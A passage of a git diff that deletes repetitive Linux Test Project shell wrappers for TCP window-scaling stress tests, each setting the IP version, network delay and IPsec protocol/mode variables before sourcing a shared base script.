b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10 deleted file mode 100644 index d0b40971..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale10 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale10 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11 deleted file mode 100644 index d606cd9f..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale11 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale11 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12 deleted file mode 100644 index 7e47d75a..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale12 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale12 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13 deleted file mode 100644 index d24adb06..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale13 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale13 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14 deleted file mode 100644 index 845789db..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp4-uni-winscale14 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-winscale14 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp4-uni-winscale14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01 deleted file mode 100644 index 22bc08e5..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale01 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale01 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02 deleted file mode 100644 index 1997f5f9..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale02 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale02 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03 deleted file mode 100644 index 90915a2e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale03 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale03 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04 deleted file mode 100644 index bcf717c4..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale04 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale04 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05 deleted file mode 100644 index 61ce08ca..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale05 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale05 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06 deleted file mode 100644 index 792fb905..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale06 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07 deleted file mode 100644 index 16a1c025..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale07 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale07 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale07 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08 deleted file mode 100644 index c41d2e23..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale08 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale08 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09 deleted file mode 100644 index 1dcf7ee8..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale09 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale09 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale09 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10 deleted file mode 100644 index 95ba2631..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale10 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale10 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale10 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11 deleted file mode 100644 index 6df2acb4..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale11 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-winscale11 -# -# Description: -# This test is simlar to tcp4-uni-winscale01 except for the following: -# - The version of IP is IPv6 -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-winscale testcase -# - -# The test case ID -TCID=tcp6-uni-winscale11 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-winscale01 diff --git a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12 b/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12 deleted file mode 100644 index 6aa5b726..00000000 --- a/ltp/testcases/network/stress/tcp/uni-winscale/tcp6-uni-winscale12 +++ /dev/null @@ -1,69 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied 